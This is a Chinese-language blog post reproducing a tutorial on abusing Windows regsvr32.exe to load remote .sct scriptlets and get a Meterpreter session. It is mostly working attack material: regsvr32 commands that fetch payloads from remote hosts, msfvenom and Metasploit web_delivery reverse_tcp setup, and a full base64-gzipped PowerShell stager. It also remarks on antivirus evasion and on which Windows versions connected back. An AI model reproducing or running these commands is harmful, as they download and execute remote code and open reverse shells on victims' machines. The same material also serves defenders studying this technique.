1. 本文主要来源于互联网,个人只是进行验证与复现。https://mp.weixin.qq.com/s/6v8w2YZLxHJFnXb-IbnYAA

1. 概述

Regsvr32是一个命令行实用程序,用于注册和取消注册OLE控件,例如Windows注册表中的DLL和ActiveX控件,以命令行方式运行。Regsvr32.exe安装在Windows XP及更高版本的Windows的%systemroot%\System32 文件夹中。当通过regsvr32中注册一个dll文件时,有关与regsvr32关联的程序的信息将会被添加到Windows中,然后访问这些进程查看器以了解程序数据的位置以及如何与程序数据进行交互。在注册一个dll文件时,会将信息添加到目录中,以便Windows可以使用它。通常,除了注册和注销dll文件外,此文件不常用。


Regsvr32.exe加载payload网上有多种姿势,但通过了解其原理,其实都是使用同一个JScript代码,只不过里面执行了不同的命令而已。Regsvr32已经被各大杀软盯的比较紧了,而且JScript代码模板也都被列入黑名单了,所以想做免杀就比较难了。
regsrv32在windows中的位置

  1. 64位:C:\WINDOWS\SysWOW64\regsvr32.exe
  2. 32位:C:\WINDOWS\system32\regsvr32.exe

2. 如何使用

2.1 本地加载

  1. regsvr32.exe /s /u /i:file.sct scrobj.dll

2.2 远程加载

  1. regsvr32.exe /s /u /i:http://reverse-tcp.xyz/file.sct scrobj.dll
  2. regsvr32.exe /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

攻击者可以利用ActiveX并将自定义的Vb或JS嵌入在XML文件中,以进行任何类型的攻击,该文件可能是任意后缀名。

2.3 参数说明

  1. Regsvr32 [/u] [/n] [/i[:cmdline]] dllname

image.png

3. 利用

3.1 远程加载sct文件

3.1.1 生成shellcode

  1. msfvenom -p windows/meterpreter/reverse_tcp -f csharp LHOST=192.168.1.4 LPORT=1111 -o 1111.csharp

image.png

后期继续完善

3.2 Msf的Web分发

3.2.1 生成shellcode并监听

  1. use exploit/multi/script/web_delivery

image.png

  1. msf6 exploit(multi/script/web_delivery) > set target 3
  2. msf6 exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_tcp
  3. msf6 exploit(multi/script/web_delivery) > set srvhost 192.168.1.4
  4. msf6 exploit(multi/script/web_delivery) > set lhost 192.168.1.4
  5. msf6 exploit(multi/script/web_delivery) > exploit

image.png
可以看到,执行的命令为:

  1. regsvr32 /s /n /u /i:http://192.168.1.4:8088/Wecoy1.sct scrobj.dll
  1. 来看一下这个dll文件的内容,其实是一个powershell
  1. &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAGrim2ACA7VWbW/aSBD+nEj5D1aFZFsiYF6ul0SqdDZgoIkJiXkJUHTa2AvesvbC7jrE7fW/3xjbSaqkVXvSWSDWuzOzM8/z7CyrOPIkYZGy29WVryfHR0PEUahoJdr+Q3hlpeS19aMjmC8FU+WDoi3M7bbNQkSi5cVFK+YcRzJ7r3SxNIXA4T0lWGi68o8yDTDHp9f3n7Enla9K6e9Kl7J7RHOzpIW8ACunZuSna1fMQ2kqFXdLidTUT59UfXFaW1Y6uxhRoaluIiQOKz6lqq5809MNR8kWa6pDPM4EW8nKlESNemUcCbTCA4j2gB0sA+YLVYca4MOxjHmkQDWpe7aoqTAccuaZvs+xEGpZWaSBF8vlX9oi3/U2jiQJcaUfSczZ1sX8gXhYVHoo8im+xasleLmSk2i91HUwe2AbrJWimNKy8jthtAHeF5j9qpP20gmshpLrZSDxVZUO82OKMz/1jTQz2nV4MuoBtW8nxyfHqyeZnL9UCYyOFocxhsy0IRPkYPVBMcqKA7sgyXgCr6URj7G+fMJVKSWS7cs/9q8VxmAaNGFiMWHEX4JDTmTJv36MnXThx4ps4xWJcDuJUEi8QnTaWwDjFcWHAiuF2QBy0tR8AfttTPEayRS0lOdXbp2QyCdfKybUx9z0gCQBWQF/+vfJZDxoaj9ycAgQZe8gvNIKpI4L61zeSbF7+g5GaosiIcrKMIazBofUxYhiv6yYkSD5khlLdhiqz+k6MZXEQ0IW4Zb6E5D5hi0WCcljD2iD4kfuFnsE0RSLstIjPrYSl6yLjdU3kWghSuEQQKQHYAJmUgRcmYqBQ44H4vWKi2U/3FIcgs3h1NsUreGM51I/qAetsa++SrFQcybdFI0ChhcJAsUuZbKsTAiX0D1SZIPmf9v9RdfI8mhxnHOhFedjYSUy1XWJC+qNUlXmwBxg4BIgsDkLLSTw+2bWJbR31WsyNOGZtXsuwZMNqfX38HXgOyaNPnNWZ0NpsNDxWmLYtc9Msl/vvbOB6fkffXzuTprS7fRla2j2bohhNQPPMkYwHvdlv9uXs77ZGwUeNYbtXtWdCYPse1PHa1tf9nUB2mw2e3eG2Wg0rxvGBpCbkdp6Y/qDkOwfr2AM7fD6yuoLy+jTzsfW7f20bs+ntFdt2sFqyoT7ftauVqvnPmo7iWlazG84yV3tlo16Xmg1I1Y9bzU3Zsc0W1FnYlvscmZxc1idoPWW7S/XltVdt0xr+oXg+c3Ytm5ubMscdz/v2ufVdfV8eocCazqpk/n27jaAd3vfu3GqRrPv40d2djUlk4c0lrWz7PkdMq/miV2t1maijjYWMy0A1p7vzG4w29pDCv6jcZ2ZEzp4tr3ptS+9ee1P4Xx4lzINVJd2naT3gr8ftV4HcREgCrxCVy3Ok824nTfKISOph6al9+oG8whTuJjg6ioUaVLKvLRJQ0eF6yFr2ukdMoZho/7mSFeeDPXn5l1MXVzMIUXQ+EGDlSscrWVQNh4bhgHd2HhsGlDjr9fVYttEy2KV03Z+QOYpOj1E11PtlzaN/xWw/LgF8OP/HLDnuZ+s/hKIRjkr99X09xO/Bejv1j1FRIKhC72C4uy+eqv8XBovLvNNA1hf5U/6P+w6lqcDuOFPjv8FqjgZcu8JAAA='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))

3.2.2 执行

直接在客户端执行下面命令:

  1. regsvr32 /s /n /u /i:http://192.168.1.4:8088/Wecoy1.sct scrobj.dll

image.png

3.2.3 上线

客户端能不能上线和客户端有一定关系,测试的时候选择windows xp可以正常上线,但是使用windows 10则没有任何提示,也不上线;windows 2008则报powershell错误。
image.png